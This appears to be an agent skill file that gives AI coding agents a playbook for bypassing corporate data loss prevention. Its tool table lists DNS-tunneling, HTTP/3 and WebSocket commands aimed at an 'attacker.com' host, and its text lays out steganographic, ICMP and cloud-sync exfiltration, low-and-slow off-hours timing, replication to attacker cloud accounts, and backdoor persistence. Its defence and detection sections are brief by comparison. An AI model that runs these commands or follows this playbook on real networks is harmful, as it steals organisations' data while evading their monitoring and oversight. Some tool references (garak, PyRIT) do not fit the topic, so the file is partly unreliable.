data-loss-prevention-bypass

name	data-loss-prevention-bypass
description	DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.
origin	kali-claw
version	0.2.0.2
compatibility	["openclaw","claude-code","cursor","windsurf"]
allowed-tools	["Bash","Read","Write","Edit","WebSearch","WebFetch"]
metadata	{"domain":"data-protection","category":"dlp-evasion","tool_count":7,"guide_count":0,"mitre":"TA0010-Exfiltration, T1048-Exfiltration Over Alternative Protocol","last_reviewed":"2026-07-26","keywords":["DLP","exfiltration","steganography","DNS tunneling","ICMP tunneling","data loss prevention"]}

Skill: data-loss-prevention-bypass

Summary

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

Tools: garak, PyRIT, promptfoo, custom harnesses

Domain: data-protection

MITRE: TA0010-Exfiltration, T1048-Exfiltration Over Alternative Protocol

Description

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

This skill covers the offensive side of dlp-evasion security, including reconnaissance, vulnerability discovery, exploitation, persistence, and reporting. Aligned with OWASP Top 10, MITRE ATT&CK, and industry-specific compliance frameworks.

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Use Cases

1. DLP bypass: Bypass corporate DLP to exfiltrate sensitive data.
2. Covert channel: Maintain stealthy C2 channel via DNS/ICMP.
3. Steganographic exfil: Hide data in images/audio to evade DLP scanning.
4. Cloud sync abuse: Use sanctioned cloud apps for exfil (OneDrive, Dropbox).
5. AI-augmented exfil: Use LLM to semantically chunk sensitive data; evades pattern-based DLP.

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Core Tools

| dnscat2 | DNS tunneling | dnscat2 --dns domain=attacker.com | | iodine | DNS tunneling (TUN) | iodine -f attacker.com | | steghide | LSB image steganography | steghide embed -cf image.jpg -ef secret.txt | | Coagula | Audio steganography | Generate audio from image | | exiftool | Metadata embedding | exiftool -Comment="secret" image.jpg | | pngcheck | PNG analysis | pngcheck -v image.png | | StegExpose | LSB detection | java StegExpose image.png | | Cloud sync | OneDrive/Dropbox exfil | Native client apps | | WebSocket | Persistent C2 | wss://attacker.com/ws | | HTTP3 / QUIC | Newer protocol exfil | curl --http3 https://attacker.com |

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Methodology

Attack Chain

[1] Reconnaissance         [2] Channel Selection     [3] Encoding
  - DLP product identify     - DNS (port 53)            - LSB steganography
  - Whitelist apps           - HTTPS (port 443)         - Base64 + AES
  - Egress monitoring          |                        - Semantic chunking
        |                       v                          |
        v             [3.5] Bandwidth-aware    [4] Exfiltration
[2.5] Side channel   - Off-hours timing         - Slow & distributed
  - Time-of-day        - Slow rate                  - Mix with legit
  - Process patterns     |                            |
                          v                            v
                        [5] Persistence   [6] Reporting
                        - Multi-channel   - DLP bypass PoC
                        - Steganography   - Business impact

Phase Details:

1. Reconnaissance: Identify DLP product (Symantec, Forcepoint, Microsoft Purview). Whitelist of approved cloud apps. Egress monitoring coverage.
2. Channel Selection: DNS (often less monitored), HTTPS (most common), ICMP (often unfiltered), cloud sync (sanctioned apps).
3. Encoding: LSB steganography for images/audio. Base64 + AES for text. Semantic chunking for AI-augmented exfil.
4. Exfiltration: Slow & distributed to avoid rate-based detection. Mix with legitimate traffic patterns.
5. Persistence: Multi-channel (DNS + HTTPS + cloud). Steganography for long-term undetected exfil.
6. Reporting: Document DLP bypass; quantify business impact (regulatory, financial).

Defense Perspective

Defense Layer	Measures	Key Points
Network DLP	SSL/TLS inspection at egress; DNS filtering; ICMP inspection	SSL inspection requires CA cert deployment; many orgs skip
Endpoint DLP	Content-based monitoring on file read/copy/upload; USB control	Endpoint agent sees data before encryption; critical layer
Cloud DLP	CASB (Netskope, Zscaler ZIA); sanctioned vs unsanctioned cloud apps	Cloud app allowlist; CASB scans content before upload
Steganography Detection	Statistical analysis on images (StegExpose); entropy scanning	Most DLP doesn't scan for steganography; gap to close
DNS Security	DNSSEC; response rate limiting; passiveDNS monitoring for tunneling	DNS tunneling is common exfil; dedicated monitoring needed
Behavioral Analytics	UEBA on user behavior; alert on anomalous egress patterns	Pattern-based DLP misses novel attacks; behavioral fills gap

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Practical Steps

See payloads.md for detailed payloads and test-cases.md for the complete test checklist.

1. Reconnaissance

Identify target infrastructure; fingerprint products; enumerate attack surface.

2. Vulnerability Discovery

Run automated scanners (garak, PyRIT); manual testing per OWASP Top 10.

3. Exploitation

Chain vulnerabilities for maximum impact; document PoC.

4. Persistence

Establish persistence via configuration changes, scheduled tasks, or backdoors.

5. Reporting

Map findings to MITRE ATT&CK, OWASP, regulatory frameworks; include concrete remediation.

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Detection Methods

Network-Layer Indicators

• DNS tunneling signatures: Long DNS queries (>50 chars), high-entropy subdomains, TXT/A record bursts.
• DNS beaconing: Periodic DNS queries to attacker-controlled domain.
• HTTPS to unfamiliar domains: Large uploads to unknown cloud storage / file sharing.
• Protocol anomalies: SSH over 443, HTTP tunneling, ICMP tunneling (large ping payloads).

SIEM Detection Rules

• Splunk SPL: index=dns | where len(query) > 50 | stats count by src_ip | where count > 100
• RITA: Statistical beacon detection.
• DLP systems: Forcepoint, Symantec DLP for content-based detection.

Endpoint Indicators

• Mass file read events: Process reading many files in short window.
• Compress-then-upload: tar/zip followed by curl/scp within 60 seconds.
• Encrypted archive creation: New .zip/.7z with password (evasion signature).

Defense Evasion Techniques

Bandwidth-Aware Exfiltration

• Low & slow: Pace exfil below network baseline (e.g., 100 KB/hr).
• Distribute across protocols: Mix DNS, HTTPS, ICMP.
• Time-windowed: Use off-hours (1-5 AM local).
• Trickle over weeks: Spread exfil over long period.

Covert Channels

• DNS tunneling: dnscat2, iodine.
• ICMP tunneling: Data in ICMP echo payload.
• HTTP/3 (QUIC): Many monitoring tools don't decode yet.
• WebSocket: Persistent connection; bypasses connection-counting.
• Cloud CDN abuse: Use legitimate CDN to mask destination.

Steganography

• Image LSB: Encode data in least-significant bits of PNG/BMP.
• Audio steganography: Encode in WAV/MP3 spectrogram.
• Video steganography: Frame-by-frame LSB.
• PDF object abuse: Hide data in PDF object streams.
• Network packet timing: Covert timing channel.

Cloud Exfiltration Stealth

• Use sanctioned apps: Upload to corporate OneDrive; below suspicion.
• OAuth consent abuse: Use legitimate OAuth flow.
• Snapshot sharing: Share EBS/snapshot to attacker AWS account.
• Cross-region replication: S3 replication to attacker bucket.

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Common Pitfalls

• Testing in unauthorized environments
• Ignoring rate limiting (will get blocked)
• Single-shot testing (real attacks are sustained)
• Neglecting supply chain
• Forgetting monitoring/alerting

Reporting and Documentation

Reports should include CVSS scores, MITRE ATT&CK mapping, concrete PoC, business impact, and specific remediation.

Legal and Ethical Considerations

Ensure proper authorization before testing. Document scope in engagement letter. Some attack techniques may violate local laws (e.g., radio transmission without license).

Hacker Laws

Law	Application
Trust but Verify	Verify all outputs; verify all sources
First Principles	Understand underlying protocols before attacking
Defense in Depth	Multiple layers required for robust defense
Assume Breach	Design assuming attacker already inside
Minimize Attack Surface	Reduce unnecessary features/exposure

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Learning Resources

Skill supplementary files: payloads.md, test-cases.md

External Resources:

• OWASP Top 10
• MITRE ATT&CK
• Industry-specific compliance frameworks